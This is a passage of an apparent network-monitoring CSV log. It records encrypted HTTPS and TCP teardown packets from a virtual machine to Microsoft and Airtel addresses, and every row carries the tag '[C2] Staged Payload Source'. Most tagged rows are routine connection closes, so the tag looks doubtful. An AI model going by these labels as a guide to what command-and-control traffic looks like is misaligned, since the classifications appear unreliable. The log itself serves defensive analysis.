Ack=1369756557,525400577f945254007bb79208004500011fb70c40008006e8b6c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59574, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:38.415325,17,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3881783903 Ack=1692602478,525400577f945254007bb792080045000028b70d40008006e9acc0a87aa804d519f0c2eb01bbe75f525f64e3106e501400005a300000,\"RT.W..RT.{....E..(.\n@.......z.........._R_d..nP...Z0..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46861, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59820, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783903, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:26:40.806974,18,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3334411404 Ack=1369756557,525400577f945254007bb792080045000028b70e40008006e9abc0a87aa804d519f0c2e401bbc6bf148c51a4d38d501400005a300000,RT.W..RT.{....E..(..@.......z.............Q...P...Z0..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46862, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59819, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411404, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.537736,19,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a19400080065cfdc0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10777, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23805, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.537938,20,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a510400080067473c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...ts..z...!..$..n.......P....f..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42256, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29811, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.538179,21,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592a4000800654ecc0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y*@...T...z.\nk...#..&...G.Z,P...L...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22826, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21740, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.540809,22,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280154400080062bfdc0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.T@...+...z..O...&...V>.:..qP.......,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 340, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11261, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.540862,23,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812dc400080069f99c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4828, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40857, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.886229,24,TCP 192.168.122.168:49957 -> 13.107.42.254:443,192.168.122.168,13.107.42.254,49957,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.42.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4194378438 Ack=1765244119,525400577f945254007bb7920800450000282a1a400080065cfcc0a87aa80d6b2afec32501bbfa0122c669377cd7501103fb73d40000,\"RT.W..RT.{....E..(*.@...\\...z.\nk*..%....\"\".i7|.P...s...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10778, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23804, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.42.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49957, \"\"dport\"\": 443, \"\"seq\"\": 4194378438, \"\"ack\"\": 1765244119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 29652, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.886259,25,TCP 192.168.122.168:49955 -> 13.107.3.254:443,192.168.122.168,13.107.3.254,49955,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,13.107.0.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=654304944 Ack=1203919404,525400577f945254007bb792080045000028592b4000800654ebc0a87aa80d6b03fec32301bb26ffe6b047c25a2c501103fb4cd40000,\"RT.W..RT.{....E..(Y+@...T...z.\nk...#..&...G.Z,P...L...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22827, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 21739, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"13.107.3.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49955, \"\"dport\"\": 443, \"\"seq\"\": 654304944, \"\"ack\"\": 1203919404, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 19668, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.964322,26,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a511400080067472c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tr..z...!..$..n.......P....f..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42257, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29810, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.964448,27,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280155400080062bfcc0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.U@...+...z..O...&...V>.:..qP.......,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 341, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11260, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:31.964472,28,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812dd400080069f98c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4829, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40856, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, \"\"ack\"\": 1444010957, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 18549, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:32.566196,29,TCP 192.168.122.168:49956 -> 131.253.33.254:443,192.168.122.168,131.253.33.254,49956,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,131.253.33.224/27,FA,,,Ether > IP > TCP,3,TCP FA Seq=1857739733 Ack=4241599660,525400577f945254007bb792080045000028a512400080067471c0a87aa883fd21fec32401bb6ebadbd5fcd1acac501103fbe1660000,RT.W..RT.{....E..(..@...tq..z...!..$..n.......P....f..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42258, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29809, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"131.253.33.254\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49956, \"\"dport\"\": 443, \"\"seq\"\": 1857739733, \"\"ack\"\": 4241599660, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 57702, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:32.566245,30,TCP 192.168.122.168:49958 -> 204.79.197.222:443,192.168.122.168,204.79.197.222,49958,443,TCP,Internal,Private Network,,,,,,United States,Unknown,8068,Microsoft Corporation,37.751,-97.822,204.79.196.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=4216733383 Ack=974826609,525400577f945254007bb7920800450000280156400080062bfbc0a87aa8cc4fc5dec32601bbfb563ec73a1aac71501103fdcd990000,RT.W..RT.{....E..(.V@...+...z..O...&...V>.:..qP.......,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 342, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11259, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"204.79.197.222\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49958, \"\"dport\"\": 443, \"\"seq\"\": 4216733383, \"\"ack\"\": 974826609, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 52633, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:28:32.566261,31,TCP 192.168.122.168:49954 -> 23.48.245.217:443,192.168.122.168,23.48.245.217,49954,443,TCP,Internal,Private Network,,,,,,India,New Delhi,9498,BHARTI Airtel Ltd.,28.6327,77.2198,23.48.245.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=226525659 Ack=1444010957,525400577f945254007bb79208004500002812de400080069f97c0a87aa81730f5d9c32201bb0d8081db5611dbcd501103fd48750000,\"RT.W..RT.{....E..(..@.......z..0...\"\"..\n...V...P...Hu..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4830, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 40855, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"23.48.245.217\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49954, \"\"dport\"\": 443, \"\"seq\"\": 226525659, 